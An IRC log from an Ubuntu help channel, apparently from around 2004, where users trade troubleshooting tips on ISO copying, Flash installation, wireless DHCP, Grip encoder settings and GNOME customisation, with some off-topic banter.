[01:38] <Se7h> i suppose its the lib
[01:40] <Se7h> cause i'vr installed it before
[01:40] <Se7h> *i've
[01:40] <LinuxJones> Se7h, did you sudo before trying to install ?
[01:40] <WW> HrdwrBoB: The size of the original iso file agrees with size reported by "isosize /dev/cdrom". I tried copying from the cd with "dd count=438839296c if=/dev/cdrom of=anothercopy.iso", and the did not report an error, but the file is smaller than the original
[01:40] <Se7h> sure
[01:40] <LinuxJones> Se7h, is this from CD/DVD ?
[01:40] <HrdwrBoB> WW: then you got your dd options wrong :) .. dd is an annoying POS
[01:40] <Se7h> the setup runs and then asks for the cd
[01:40] <Se7h> but i'm not even getting there
[01:40] <Se7h> just returns me the error at the beggining
[01:40] <HrdwrBoB> WW: how far wrong is the size
[01:42] <LinuxJones> Se7h, your cd is mouning with noexec option you need to re-mount with the exec option
[01:42] <HrdwrBoB> WW: but in any case, you can see the problem is what I said it was
[01:42] <WW> HrdwrBoB: Actually, the file anothercopy.iso is identical to the file created by "cat /dev/cdrom > copy.iso"
[01:42] <HrdwrBoB> ah
[01:42] <HrdwrBoB> yes
[01:42] <HrdwrBoB> that should be right
[01:42] <HrdwrBoB> but it's not the same as the original iso?
[01:42] <Se7h> LinuxJones but the "insert cd" part is after this
[01:42] <lev> Se7h: or copy the .sh file to your hard drive, make sure you have executable rights on it and try running the installer
[01:42] <lev> (that's how i did it, at least)
[01:42] <WW> HrdwrBoB: Right, the copies are smaller than the original, by about 34k (and not exactly 32768 :)
[01:42] <Se7h> lev the sh is on the hard drive
[01:42] <LinuxJones> Se7h, but it needs root privilege to proceed with the install
[01:42] <Se7h> LinuxJones
[01:42] <Se7h> i've run it with sudo
[01:42] <LinuxJones> Se7h, or rather execute
[01:43] <LinuxJones> Se7h, that doesn't matter
[01:43] <HrdwrBoB> WW: how much exactly
[01:43] <Se7h> no?
[01:43] <LinuxJones> Se7h, sudo is not root
[01:43] <LinuxJones> Se7h, do mount in console
[01:43] <LinuxJones> Se7h, I bet it has noexec in there doesn't it ?
[01:43] <Se7h> w8
[01:43] <Se7h> le'me check
[01:44] <Se7h> (the sh is not on the CD!!)
[01:44] <WW> HrdwrBoB: 34816 bytes
[01:46] <SuperQ> haha
[01:46] <SuperQ> http://www.netequalizer.com
[01:46] <LinuxJones> Se7h, but you installing from cd I thought ?
[01:46] <SuperQ> 18:38 <SuperQ> Insyte: you actualy got one?
[01:46] <SuperQ> 18:38 <Insyte> Yeah.  It's sitting next to me as we speak.
[01:46] <SuperQ> 18:39 <chris> Try not to get any Debian on you
[01:46] <SuperQ> 18:39 <Insyte> chris: I'll wash my hands thoroughly after each use.
[01:46] <Se7h> u'r gettng it all wrong
[01:46] <Se7h> frojm the beggining
[01:46] <Matt|> ok Problem: i have grip installed. I just installed lame (after grip) and now i get an error when trying to encode using lame (invalid executable); how can i fix this???
[01:46] <Se7h> i have a file called ut-bla.run
[01:46] <LinuxJones> Se7h,  sorry I didn't read allyour messages ;P
[01:46] <Se7h> on my hard drive
[01:46] <Se7h> i've got to run it
[01:46] <Se7h> to install the files from the cd
[01:46] <Se7h> ok now ?
[01:46] <Se7h> :)
[01:46] <lev> so you do...
[01:46] <lev> ?
[01:46] <HrdwrBoB> WW: that doesn't divide by 2352 :/
[01:46] <Ruffian|JANE|> NOO! BUSH IS WINNING! NOOO!
[01:46] <Ruffian|JANE|> WE ARE ALL SCREWD!
[01:46] <Matt|> Ruffian|JANE|, patience...
[01:46] <HrdwrBoB> Ruffian|JANE|: you are screwed anyway
[01:46] <Ruffian|JANE|> lol
[01:46] <WW> HrdwrBoB: Nope.  (What is the significance of 2352?)
[01:46] <Se7h> lev i do ?
[01:47] <lev> Se7h: what do you do next? what have you been doing?
[01:48] <LinuxJones> Se7h,  what does ls-al output on the ut.run file ?
[01:48] <Matt|> can anyone help me with that grip problem???
[01:48] <HrdwrBoB> WW: CD sector size
[01:48] <LarryDC33> If I could slip a question in:Has anyone suceeded in installing ubuntu on a Fujitsu P1120?
[01:48] <WW> HrdwrBoB: Ah.
[01:48] <HrdwrBoB> LarryDC33: as I said before, isn't that a monitor
[01:48] <HrdwrBoB> specifically a 21" monitor
[01:48] <HrdwrBoB> supports 2048x1536 max res
[01:48] <Se7h> LinuxJones w8
[01:48] <HrdwrBoB> 1800x1400 recommended at 85h
[01:48] <HrdwrBoB> z
[01:48] <LarryDC33> No it is a laptop.  I didn know that was to me.
[01:48] <HrdwrBoB> ah ok
[01:48] <HrdwrBoB> P1120 is also a part number for rebadged sony 21" monitors
[01:48] <lev> LarryDC33: are you having a specific problem?
[01:48] <Se7h> LinuxJones -rwx------    1 seth     seth
[01:48] <LarryDC33> It doesn seem to recognize the USB CDROM on boot so I need a way around that.
[01:48] <LinuxJones> Se7h,  chmod 777 ut.run file
[01:48] <yann__> LarryDC33: got ubuntu running on a apple powerbook g4
[01:49] <LinuxJones> Se7h,  then install
[01:49] <Se7h> ./setup.sh: line 88: /home/seth/.setup19825: Permission denied
[01:49] <Se7h> The setup program seems to have failed on x86/glibc-2.1
[01:49] <lev> LarryDC33: i've heard of general booting issues with usb cdroms...
[01:49] <Se7h> same thing
[01:49] <lev> do you have an internal drive you can use?
[01:50] <LarryDC33> No just a floppy & a hard drive
[01:50] <lev> LarryDC33: hmm...
[01:50] <yann__> LarryDC33: that will be fun ;-)
[01:50] <lev> LarryDC33: have you had any success booting other stuff (knoppix/windows/etc) off the usb cdrom?
[01:50] <[Phaedrus] > Hey Guys
[01:50] <thoreauputic> Se7h: ls -l /home/seth/.setup19825   ?
[01:50] <HrdwrBoB> LarryDC33: do you have a 1gb usb key?
[01:51] <HrdwrBoB> or a flash reader and a 1gb+ card
[01:51] <Se7h> thoreauputic uh?
[01:51] <LinuxJones> Se7h,  try looking in bugzilla or on google (with the error and debian as a search parameter) to see if there is a fix
[01:51] <HrdwrBoB> you can boot straight off that
[01:51] <[Phaedrus] > Would anyone mind sending me a copy of the ubuntu cd? I can't possibly download the ISO with my dial-up connection
[01:51] <thoreauputic> Se7h: is it not saying permissiondenied for that path?
[01:51] <Se7h> LinuxJones that's what i was thinkin'
[01:51] <HrdwrBoB> [Phaedrus] : register online and one will be sent to you
[01:51] <LarryDC33> No.  I just wondered if someone here might have figured out a way to do it.  It doesn seem to want to boot of anything USB except the floppy.
[01:51] <Matt|> [Phaedrus] , go to the website
[01:52] <[Phaedrus] > I already did HrdwrBoB, its going to take another few weeks
[01:52] <Craigory> I noticed the mail applet is missing in hoary right now.  Does anybody know what Ubuntu's evil plan is?  Or just a bug? (:
[01:52] <HrdwrBoB> yes
[01:52] <HrdwrBoB> Craigory: the evil plan is to put cool new stuff into haory
[01:52] <HrdwrBoB> hoary
[01:52] <kapputu> hi all
[01:52] <WW> HrdwrBoB: I have to go.  I'll add some notes to the bug report.  Thanks for your help!
[01:52] <[Phaedrus] > hi kapputu
[01:52] <thoreauputic> Se7h: I thought  an ls -l on that path might be informative
[01:53] <kapputu> [Phaedrus] , you want me to send one ?
[01:53] <Craigory> Hr: do you have the inside scoop?  I've always thought the email applet could suck less.
[01:53] <[Phaedrus] > if its not too much trouble for you kapputu. You'll have to send it to India though
[01:53] <kapputu> India ?/
[01:53] <kapputu> ?
[01:54] <kapputu> why ?
[01:54] <[Phaedrus] > yeah, I'm in india at the moment
[01:54] <kapputu> ic
[01:54] <kapputu> where in India ?
[01:54] <[Phaedrus] > south
[01:54] <kapputu> which city ?
[01:55] <Craigory> Phaedrus... A Greek character of some sort, no?  Seems he was mentioned in "Zen and the Art of Motorcycle Maintenance".
[01:55] <[Phaedrus] > yes Craigory
[01:55] <[Phaedrus] > that's the one
[01:56] <SmokingFire> admins: please correct this: Please don't paste in he channel, use http://www.pastebin.com/  (he should be the)
[01:56] <stodge> Any way to remove Evolution without removing ubuntu-desktop? Or is ubuntu-desktop just GNOME?
[01:57] <SmokingFire> stodge: right click on the ubuntu-desktop package and see dependecies
[01:57] <HrdwrBoB> SmokingFire: the beauty of ubuntu is you can fix it yourself :)
[01:57] <SmokingFire> HrdwrBoB: I have rights to change the topic?
[01:57] <HrdwrBoB> yes
[01:57] <stodge> THere aren't many - just not sure what will happen
[01:58] <SmokingFire> HrdwrBoB: ooh, didn't know but I'm not comfortable doing so.
[01:58] <lev> stodge: ubuntu-desktop should just be a meta-package -- don't worry about removing it.
[01:59] <lev> stodge: that is, removing it won't remove other stuff you want to have
[01:59] <GotD0t> hey all... does anybody know a way i can set up my dualhead system so that each monitor has a different resolution?
[01:59] <HrdwrBoB> SmokingFire: there we go, thanks :)
[01:59] <SmokingFire> HrdwrBoB: thanks
[01:59] <stodge> I'm seeing if I can remove Gnome without trashing my installation - have KDE installed :)
[02:00] <HrdwrBoB> GotD0t: yes, have a look at http://bob.is.teh.admin.at.vicnet.net.au/XF86Config-4
[02:00] <GotD0t> thanks hrdwrbob
[02:01] <HrdwrBoB> stodge: why do you want KDE over gnome?
[02:01] <lev> :-)
[02:01] <GotD0t> its sexier...
[02:01] <Se7h> LinuxJones no good
[02:01] <HrdwrBoB> it's sexier?
[02:01] <skull> hi
[02:01] <GotD0t> i dunno
[02:01] <GotD0t> haha
[02:01] <AgentSmith> kde sexier than gnome? eww
[02:01] <Se7h> the problem seems to be on glibc
[02:01] <AgentSmith> kde is float ware
[02:02] <Se7h> but...cant find the reason
[02:02] <skull> can someone help me on a wifi problem ?
[02:02] <GotD0t> the one that the suse 9.2 livedvd has is sexier than the default in ubuntu
[02:02] <lev> skull: what's the problem?
[02:02] <GotD0t> that is*
[02:02] <kapputu> GotD0t, what do you mean by sexier ? Didn't you see Ubuntu's artwork ? :-P
[02:02] <thoreauputic> stodge: why would you remove gnome to have kde anyway? Why not have both?
[02:02] <skull> I can't connect to my network in wifi
[02:02] <lev> skull: what are the steps you're using?
[02:02] <skull> I have a intel card
[02:03] <Matt|> can anyone help me with that grip problem???
[02:03] <skull> driver ipw2100
[02:03] <Matt|> ok Problem: i have grip installed. I just installed lame (after grip) and now i get an error when trying to encode using lame (invalid executable); how can i fix this???
[02:03] <skull> I configure it
[02:03] <skull> I can see my acces point, I have a good signal (100%)
[02:03] <thoreauputic> Matt|: have you looked at the permissions on the lame executable?
[02:03] <skull> but I can't get an IP
[02:03] <Matt|> thoreauputic, ah no i haven't
[02:04] <lev> skull: what access point are you using?
[02:04] <thoreauputic> Matt|: worth a look and maybe chmod can fix it
[02:04] <skull> linksys
[02:04] <skull> it is a router
[02:04] <Matt|> thoreauputic, -rwxr-xr-x
[02:04] <Matt|> :(
[02:04] <HrdwrBoB> Matt|: can you run lame from the command line
[02:04] <Matt|> it worked on my last ubuntu install
[02:06] <Matt|> HrdwrBoB, yes
[02:06] <thoreauputic> Matt|: OK that isn't it, obviously
[02:06] <HrdwrBoB> Matt|: also in the grip config, what does it say the lame executable is
[02:06] <Matt|> lame
[02:06] <Matt|> -h -b %b %w %m
[02:06] <lev> skull: have you tried sudo dhclient?
[02:06] <skull> nop
[02:07] <lev> skull: that requests an ip from the DHCP server on your network...do you also have a wired connection?
[02:07] <skull> I dont have ip for eth1
[02:07] <skull> yes
[02:07] <skull> I use the wire to be there :)
[02:07] <Matt|> mebbe you can't have both?
[02:08] <skull> when i do ifconfig i have a sit0 which appear
[02:08] <Matt|> thoreauputic, HrdwrBoB, any more ideas for fixing grip?
[02:09] <lev> skull: specify your wireless device (eth1?) with dhclient: eg sudo dhclient eth1
[02:09] <skull> Matt|, i tried to active just one but it is the same
[02:09] <HrdwrBoB> is there any more to the error?
[02:09] <Matt|> HrdwrBoB, i'll try and open it in a terminal
[02:09] <Matt|> no
[02:09] <Matt|> "invalid encoder executable. Please check your encoder config"
[02:10] <skull> it seams he cant find one
[02:10] <skull> No DHCPOFFERS received.
[02:10] <lev> skull: i gotta go -- sorry to leave you mid way.
[02:11] <skull> it s ok
[02:11] <skull> thx
[02:12] <thoreauputic> Matt|: wild stab in the dark -  dpkg-reconfigure lame
[02:12] <Matt|> thoreauputic, tried it :(
[02:12] <Matt|> any more ideas anyone?
[02:12] <thoreauputic> Matt|: :(
[02:15] <HrdwrBoB> Matt|: the encoder executable is /usr/bin/lame
[02:15] <HrdwrBoB> not lame
[02:15] <Matt|> hmm
[02:15] <HrdwrBoB> that is the default
[02:15] <HrdwrBoB> try that
[02:15] <Matt|> ok will try it
[02:15] <Matt|> thanks
[02:15] <Matt|> HrdwrBoB, thats done the trick (!?!?!)
[02:15] <Matt|> thanks a lot
[02:16] <Matt|> what is a good permission number for my home directory? 772?
[02:17] <HrdwrBoB> Matt|: excellent
[02:17] <Matt|> HrdwrBoB, the grip fix or the permission number?
[02:17] <HrdwrBoB> the grip fix
[02:17] <Matt|> :)
[02:17] <Matt|> yup thanks for that
[02:17] <Bartman00> hi guys
[02:17] <Matt|> HrdwrBoB, how about the permission :p?
[02:18] <HrdwrBoB> drwxrwsr-x <- home dir permissions
[02:18] <Matt|> recursive? would you be able to give me a number? (i prefer numbers)
[02:18] <HrdwrBoB> which are .. 2775
[02:18] <HrdwrBoB> iirc
[02:18] <Matt|> hhm
[02:18] <Matt|> ok i'll try it thanks
[02:20] <Bartman00> I'm sort of a noob.. I got DRI working on my Nvidia card... but how do I get Flash and Shockwave installed?
[02:20] <Bartman00> macromedia says there's no shockwave install for Firefox
[02:20] <Matt|> Bartman00, you need to install the flash plugin
[02:20] <Matt|> in synaptic it is flash-nofree or something
[02:21] <sysop> HrdwrBoB: Are you sure you'd want write permissions for group on a home dir? Just curious?
[02:21] <Bartman00> and one guide I read about installing the flash plugin said a plugin installer window would come up but it didn't
[02:21] <HrdwrBoB> sysop: you are in your own group
[02:21] <HrdwrBoB> sysop: I'm also simply regurgitating the default permissions
[02:21] <sysop> HrdwrBoB: ok...just curious. Thanks!
[02:22] <HrdwrBoB> no worries :)
[02:24] <Bartman00> crap... the flash installer is asking for a valid path to the browser.. what's the path to firefox?
[02:24] <shaver> http://ftp.mozilla.org/pub/mozilla.org/firefox/releases/1.0RC1/
[02:24] <Bartman00> why can't the synaptic package manager install this
[02:24] <shaver> =)
[02:25] <Bartman00> is there a way to apt-get upgrade the default install of firefox to RC1?
[02:26] <Matt|> Bartman00, you can install flash directly from synaptic
[02:26] <subterrific> there were crashing bugs in 1.0RC1 so they reverted to an older version for warty
[02:26] <Matt|> it is called flashplugin-nonfree
[02:27] <Bartman00> I did a search for "flash" and it came up with nothing
[02:27] <shaver> uh
[02:27] <shaver> no
[02:27] <shaver> there were crash bugs in 1.0PR
[02:27] <shaver> warty predates RC1
[02:27] <Matt|> subterrific is correct
[02:28] <subterrific> actually i'm not so sure, when did the PR come out?
[02:28] <Matt|> subterrific, it is included in the warty cd packages
[02:28] <Matt|> so before that ;)
[02:28] <Matt|> Bartman00, you may need some different repositories
[02:28] <Bartman00> Matt|, ok.. I must be stupid.. I'm in synaptic.. and I looked at "All" and there is no flashplugin-nofree listed
[02:29] <Matt|> Bartman00, ok you need to activate maybe the universe repository
[02:29] <shaver> we released PR1 on 15 sep
[02:29] <Bartman00> how.. I"m noob to this distro.. I'm only mildly stupid with Sude..
[02:29] <shaver> er, 1.0PR
[02:29] <shaver> RC1 was 27 oct
[02:30] <Matt|> Bartman00 ok just edit /etc/apt/sources.list and uncomment the lines with "universe"
[02:30] <Bartman00> ok.. I can handle that
[02:30] <Bartman00> why are they off by default?
[02:30] <Matt|> because they have been judged to have issues
[02:30] <Matt|> for example proprietary packages
[02:31] <Matt|> hence the "nonfree"
[02:31] <Bartman00> oh
[02:31] <Bartman00> I like this distro so far.. but they should make it easy for someone like me to install flash..
[02:31] <Bartman00> OMG they include pico
[02:31] <Bartman00> :)
[02:32] <Matt|> Bartman00, feel ya, but it is beyond their abilities i think
[02:32] <Matt|> they are not able to include those packages
[02:32] <Bartman00> I know.. Flash can not be included with a distro.. shame
[02:32] <usual> oooo gnome 2.9 packages in hoary
[02:32] <Bartman00> there's really no reason I can see
[02:33] <Matt|> oh kewl
[02:33] <subterrific> https://bugzilla.ubuntu.com/show_bug.cgi?id=1676
[02:33] <brad> it _is_ easy to install flash
[02:33] <subterrific> thats the firefox bug
[02:33] <Bartman00> ok.. removed the # can I just launch the updater again and it will us the uni?
[02:33] <Matt|> brad, not exactly
[02:33] <Matt|> Bartman00, hopefully
[02:33] <Bartman00> ya.. not exactly
[02:33] <thoreauputic> Bartman00: actually you can add repositories in synaptic, i believe
[02:33] <Matt|> yup
[02:33] <Bartman00> if you have to edit a text file.. it's not exactly "window user" level
[02:34] <Matt|> Bartman00, thoreauputic is right
[02:34] <thoreauputic> Bartman00: ^^^^
[02:34] <Matt|> you still have to know that you should add a repo to install flash
[02:34] <Bartman00> I removed the # from both uni.. still no flash.. but I did get an error on one of the uni links
[02:35] <Matt|> Bartman00, update
[02:35] <Matt|> i.e. click on "reload" in synaptic
[02:35] <Bartman00> oooooh
[02:35] <Bartman00> :)
[02:35] <Bartman00> new to me
[02:35] <Bartman00> look!! flash love
[02:35] <Matt|> oh good
[02:36] <Bartman00> any other sites I should add for uber package love?
[02:36] <Foxfyre> Hey guys, anyone have experience getting a laptop to display battery power in ubuntu?
[02:36] <Matt|> Foxfyre, yes
[02:36] <subterrific> oh weird, i reported that bug, but the My Bugs search in bugzilla doesn't show it for me
[02:36] <Foxfyre> Matt, care to help me out?
[02:37] <Bartman00> this distro is friendly, I'm liking
[02:37] <Matt|> Foxfyre, https://bugzilla.ubuntu.com/show_bug.cgi?id=2711 is mine
[02:37] <Foxfyre> *click*
[02:37] <Matt|> i have to sleep now tho
[02:37] <Matt|> nite nite
[02:37] <LinuxJones> Bartman00, so is the irc channel :)
[02:37] <Bartman00> :)
[02:38] <Bartman00> true.. it's strange to be asking noob questions in an IRC channel and actually have someone answer!!!
[02:38] <Bartman00> :)
[02:39] <Foxfyre> Anyone else have experience with acpi on laptops?
[02:39] <Bartman00> I'm actually going to be giving this computer to a totally "computer stupid" person. I gave her an old P2 with win 2k on it to play around with.
[02:39] <LinuxJones> Bartman00, like the old saying goes, there are no stupid questions just stupid answers
[02:40] <Bartman00> I wasn't sure she'd eve use a computer. She started using it a lot and killed it with spyware soon after.. so insted of trying to fortify windows I figured a linux distro would do nicely
[02:40] <robertj_> Ubuntu is a rather dull distro to use
[02:41] <Bartman00> I know.. .I do IT support at a library in Ohio.. I have to work in the computer lab a couple days a week.. I hear it all.. I like helping people who want to try.. I like seeing them learn new stuff and supprise me
[02:41] <LinuxJones> robertj_, what do you mean dull ?
[02:41] <robertj_> Most complaiints are "X is missing" and the general response is "We know, X is coming in Hoary"
[02:41] <robertj_> Other than that, there isn't alot of action going on
[02:42] <psyklops> As opposed to "we have 500 bugs! oh noez!"?
[02:42] <robertj_> Exactly
[02:42] <psyklops> heh
[02:42] <phlaegel> robertj_: sounds like you want gentoo. ;-)
[02:42] <robertj_> No, I'm quite fine thank you ;)
[02:42] <LinuxJones> robertj_, X.org is not the be-all end-all of a distro :)
[02:42] <siimo> my router is heating up.......... :O
[02:42] <robertj_> Linux: i'm waiting for my Security Update applet
[02:43] <robertj_> other than that, I'm really not looking forward to anything Ubuntu wise
[02:43] <robertj_> Well except for the security updates
[02:43] <phlaegel> since ubuntu is supposed to just work, it shouldn't be exciting to use...
[02:43] <robertj_> It's not, it's really nice to be dull
[02:43] <Bartman00> hey thanks alot guys.. got it working and I'm going to give it to her... well now..
[02:43] <phlaegel> ah
[02:43] <LinuxJones> robertj_, that is what a cron job is for. The end-user shouldn't even see that :)
[02:43] <Bartman00> I think I'm going to be back.. I'll have to try this on my own computer
[02:43] <Bartman00> thanks again
[02:44] <psyklops> bartman, does this person live nearby?
[02:44] <Bartman00> ya.. in the basement
[02:44] <Bartman00> :)
[02:44] <psyklops> okay good...
[02:44] <Bartman00> it's a huge house
[02:44] <psyklops> they'll probably have complaints for a week or so
[02:44] <psyklops> :)
[02:44] <Bartman00> oh ya.. I wouldn't give it to a remote user.. my god the phone calls..
[02:44] <psyklops> stuff like "how do I look at flash sites?"
[02:44] <Bartman00> no.. they'll be ok.. really.. the only 2 apps she uses there's allready short cuts for.. firefox and email
[02:45] <Bartman00> I got flash installed
[02:45] <Bartman00> and she knows fire fox.. I had it on her 2k computer
[02:45] <Bartman00> I'll be around... thanks
[02:45] <siimo> when next release of ubuntu comes can i dist-upgrade to it without losing settings?
[02:45] <psyklops> right-o
[02:45] <psyklops> siimo: that's hopefully how it will work :)
[02:46] <robertj_> I'm curious what he new package installation tool is going to be
[02:46] <psyklops> no one plans on bugs
[02:46] <robertj_> psyklops: then why is there a security source in the sources.list ;)
[02:46] <psyklops> for when stuff doesn't go as planned
[02:46] <lifeless> psyklops: speak for yourself.
[02:46] <lifeless> bugs are great for testing regression testing frameworks.
[02:47] <siimo> my current dist is working perfectly but im thinking of switching to ubuntu for wider package base
[02:49] <LinuxJones> siimo, there is a live cd you can check out before you actually do an install
[02:49] <siimo> yeah im downloading it now
[02:50] <LinuxJones> siimo, Hope everying works for you with it. Ubuntu is very nice :)
[02:52] <Foxfyre> So, does anyone have experience fiddling with the acpi? Mine does not seem to be running, or rather, receving any info for my battery status.
[02:52] <wm_eddie> sysop: join the cul^H^Hlub :p
[02:53] <LinuxJones> sysop, my sentiments exactly :)
[02:54] <siimo> well i currently run arch and its pretty stable
[02:57] <siimo> opps wrong button
[03:00] <billytwowilly> hi, the install didn't make a root user or atleast didn't give me the chance to set a password for one. How do I do that?
[03:00] <Astharot> hi
[03:01] <Astharot> is there any person from ubuntu team ?
[03:01] <chibifs> More than likely.
[03:01] <chibifs> It is a community effort :P
[03:01] <chibifs> You can sneak your way on :o
[03:01] <Astharot> ehe
[03:02] <billytwowilly> nevermind, I figured it out
[03:03] <Astharot> I'd like to talk with someone involved into ubuntu project...
[03:05] <robertj_> Astharot: why?
[03:05] <chibifs> I'm involved! I almost wrote on the wiki :o
[03:05] <sysop> Like chibifs said, its a community thing, but you could try http://www.canonical.com/ their Ubuntu's more formal support.
[03:05] <Astharot> i wanted to know how to join a team
[03:05] <robertj_> for?
[03:06] <Astharot> for? to join a team :)
[03:06] <robertj_> what sort of team?
[03:06] <Astharot> security team
[03:06] <chibifs> I want to do official XFCE pacakges. :P
[03:07] <chibifs> I've been helping out with XFCE 4.2 for months. It's been fun. :o
[03:08] <robertj_> Astarot: doing what?
[03:08] <chibifs> Though Ben's Debian packages work completely fine with ubuntu. >.>'
[03:08] <LinuxJones> robertj_, do you work for Canonical ?
[03:08] <robertj_> Linux: no
[03:08] <mbp__> Astharot: i suggest you just start doing useful things
[03:08] <Astharot> robertj_: dunno... patches for example :)
[03:08] <mbp__> send patches for bugs, etc
[03:08] <Astharot> ok
[03:08] <mbp__> help on the list and irc
[03:08] <mbp__> recognition will come from that
[03:08] <LinuxJones> robertj_, why are you asking him questions about it ?
[03:08] <Astharot> there isn't a list about security ... just security-announce
[03:09] <robertj_> Because I might be able to direct him somewhere useful
[03:09] <Astharot> eheh thanks robertj_ :)
[03:09] <brettcar> Astharot: the -users lists would be fine for security issues
[03:10] <robertj_> If someone comes to my office and says "I need to talk with Bryan (which is amusing because they frequently don't recognize that I am Bryan's boss)," I say "Why do you want him?"
[03:11] <robertj_> Why would anyonew ant to help out with security?
[03:11] <LinuxJones> robertj_, what does that have to do with his question ?
[03:11] <sysop> Astharot: No leader yet! Maybe your their man!?? http://www.ubuntulinux.org/community/teams/security/
[03:11] <robertj_> Linux: just curious
[03:11] <chibifs> To improve upon things :o
[03:11] <Astharot> sysop: I read that
[03:11] <robertj_> Maybe ha's planning a large install?
[03:11] <Astharot> but there are just 2 lines
[03:12] <robertj_> And this is IRC, on topic is not a requirement!
[03:12] <robertj_> but there is a Wiki page for prospective team members
[03:12] <robertj_> you might add yourself to it with your vitals
[03:12] <LinuxJones> robertj_, well considering your not affiliated with Canonical maybe you shouldn't jump to conclusions about people's intentions.
[03:13] <robertj_> Linux: i'm no
[03:14] <ficusplanet> On the Hoary Goals page of the wiki there is an entry called "SVG-aware eye candy" that is assigned to Shuttleworth.  What exactly does this entry mean?
[03:14] <LinuxJones> robertj_, people might want to help with security to help the Linux comminity in general :)
[03:15] <robertj_> Linux: so?
[03:16] <sysop> robertj_: so their unselfish and give to others
[03:16] <robertj_> and?
[03:16] <LinuxJones> robertj_, let's just drop it @ this point
[03:16] <sysop> and this makes them happy! :-)
[03:16] <thoreauputic> robertj_: attitude, dude... take it easy
[03:16] <billytwowilly> so how do I change the window decorations in gnome? in kde it's easy. there's a program to do it.
[03:17] <billytwowilly> I want the window decorations setup like OSX with everything on the left
[03:17] <ficusplanet> billytwowilly, Computer>>Sys Config>>Theme
[03:17] <robertj_> I still really don't see what you guys are up in arms about, clarifying questions are'nt an attack, assaault, or insult
[03:17] <ficusplanet> billytwowilly, Oh, to change order of the buttons you do need gconf.
[03:17] <billytwowilly> gconf?
[03:18] <chibifs> gconf is gnome's version of the windows registry.
[03:18] <ficusplanet> billytwowilly, gconf is the configuration framework of GNOME.
[03:18] <stodge> What package are the X development files in?
[03:18] <LinuxJones> robertj_, you asked the question >> <robertj_> Why would anyonew ant to help out with security?
[03:18] <billytwowilly> I have to edit code to change the window decorations? that's kinda lame..
[03:18] <robertj_> I'm curious
[03:18] <chibifs> No.
[03:18] <chibifs> The window decorations are changed in the theme prefrences.
[03:18] <sysop> robertj_: so we answered
[03:19] <ficusplanet> It IS NOT like the registry.  It is a collection of XML files.  However, you can use a regedit like program to change advanced options.  You don't need gconf-editor to change windecs.  You need it to change the button order, though.
[03:19] <robertj_> sysop: I don't really by unselfishness as an answer
[03:19] <spiv> LinuxJones, robertj_, sysop: dissecting that conversation isn't going to go anywhere productive.  Just forget about it :)
[03:19] <spiv> It doesn't matter.
[03:19] <LinuxJones> spiv, as I said earlier, Let's leave it @ that
[03:19] <LinuxJones> :)
[03:20] <sysop> spiv/Linux: true, thx!
[03:20] <chibifs> Bah- It's the same concept as the registry, ficus. An excuse to be lazy about confugurations by putting the tweaky stuff in a seperate database program that gives you destructive abilities :P
[03:20] <thoreauputic> robertj_: quote: <robertj_> sysop: I don't really by unselfishness as an answer That's really sad. I hope you recover from your cynicism
[03:21] <LinuxJones> spiv, well I tried, I guess I am a sucker for the trolls :D
[03:21] <chibifs> It has it's technical diffrences, but it's fairly similar in concept.
[03:21] <robertj_> thoreauputic: I'm not a cyncial person, so back off and let it go
[03:21] <ficusplanet> chibifs, Destructive abilities?  It is not a database at all.  It is a collection of XML files that can be accessed with a consistent API.  That is far different than the binary win registry.
[03:22] <chibifs> Yes, technical diffrences. seperate xml files, single monolithic file-- It's just a diffrent orginization of things. :P
[03:22] <thoreauputic> robertj_: Sure - I'm glad to drop it :) And I'm glad to hear you're not cynical :)
[03:23] <robertj_> chibi: although Windows does have a consistent API for registry access
[03:23] <ficusplanet> chibifs, A very important distinction, though.  Also, there is nothing preventing people - some already have - from creating more advanced tweaking utilities.
[03:23] <billytwowilly> ficusplanet, is there just an osx theme for gnome 2.8? that might be easier. Is there a place like kde-look.org for gnome?
[03:23] <LinuxJones> spiv, :D
[03:23] <ficusplanet> gnome-look.org
[03:23] <chibifs> art.gnome.org
[03:23] <ficusplanet> art.gnome.org
[03:24] <chibifs> http://jp.bizet.free.fr/themes/gtk2.html
[03:24] <chibifs> customize.org
[03:25] <robertj_> speaking of OS X, is there a dock-style applet?
[03:25] <chibifs> Yes, robertj_
[03:25] <ficusplanet> robertj_, install gdesklets
[03:25] <chibifs> There's a gdesklet app for it.
[03:25] <ficusplanet> and the starterbar desklet
[03:25] <ficusplanet> They should be in universe
[03:26] <chibifs> http://www.customize.org/details/35220 <- Panther logon :D
[03:28] <Astharot> thanks for info, bye bye
[03:29] <robertj_> chibi: once you get that going, how do you start the starterbar?
[03:29] <robertj_> I ran the menu item, so I assume the daemon is running
[03:29] <chibifs> Open nautilus
[03:30] <robertj_> check
[03:30] <chibifs> .desktop files start up the desklet
[03:30] <chibifs> just a sec. x_X
[03:31] <chibifs> I think the package installs them to /usr/share/gdesklets/
[03:31] <robertj_> yeah
[03:32] <chibifs> Then the displays
[03:32] <billytwowilly> hmm. no themes that put the close, maximize, minimize buttons on the left hand side. weird.
[03:32] <Pizbit> billytwowilly: Grab some from art.gnome or gnome-look
[03:33] <Pizbit> There's bound to be a few
[03:33] <chibifs> art.gnome.org has a lot of window borders.
[03:33] <jps> if /dev/input/event1 (that means my touchpad) does not change when i click a particular button (but the other 3 create changes), what does that mean?
[03:33] <ficusplanet> billytwowilly, You have to use gconf-editor to change the button order.
[03:33] <billytwowilly> hey! a kde-look alike site!;)
[03:34] <billytwowilly> ficusplanet, ok, sorry, I'm new to gnome, so I just run gconf-editor and it will become apparent what to do for me?
[03:34] <bash> hi all
[03:34] <ficusplanet> Go to apps>>metacity>>general
[03:34] <ficusplanet> change button_layout from "menu:minimize,maximize,close" to "close, maximize, minimize:menu"
[03:35] <ficusplanet> *no spaces in the second entry, sorry
[03:36] <chibifs> Got it robert?
[03:36] <billytwowilly> hmm. no close button..
[03:37] <robertj_> chibifs: I found a starterbar.display
[03:37] <robertj_> is that what I need?
[03:38] <chibifs> Yeah, just double click it, and drop it out on the desktop.
[03:38] <billytwowilly> ficusplanet, thanks
[03:38] <billytwowilly> It worked.
[03:38] <ficusplanet> np
[03:38] <robertj_> complains about an error launching the application
[03:39] <billytwowilly> Is there a way to save a setup and revert if I screw something up royally?
[03:39] <robertj_> like its not associated iwth gdesklets
[03:39] <Pizbit> billytwowilly: cp -a .gconf .gconf-backup ?:)
[03:39] <billytwowilly> heh. fair enough;)
[03:39] <billytwowilly> Thanks
[03:39] <Pizbit> robertj_: Right click and open with and type in gdesklets
[03:39] <ficusplanet> billytwowilly, If you delete a folder form .gconf, it will be replaced with the system defaults again.
[03:40] <robertj_> ahh
[03:40] <robertj_> any way to get those swallowed?
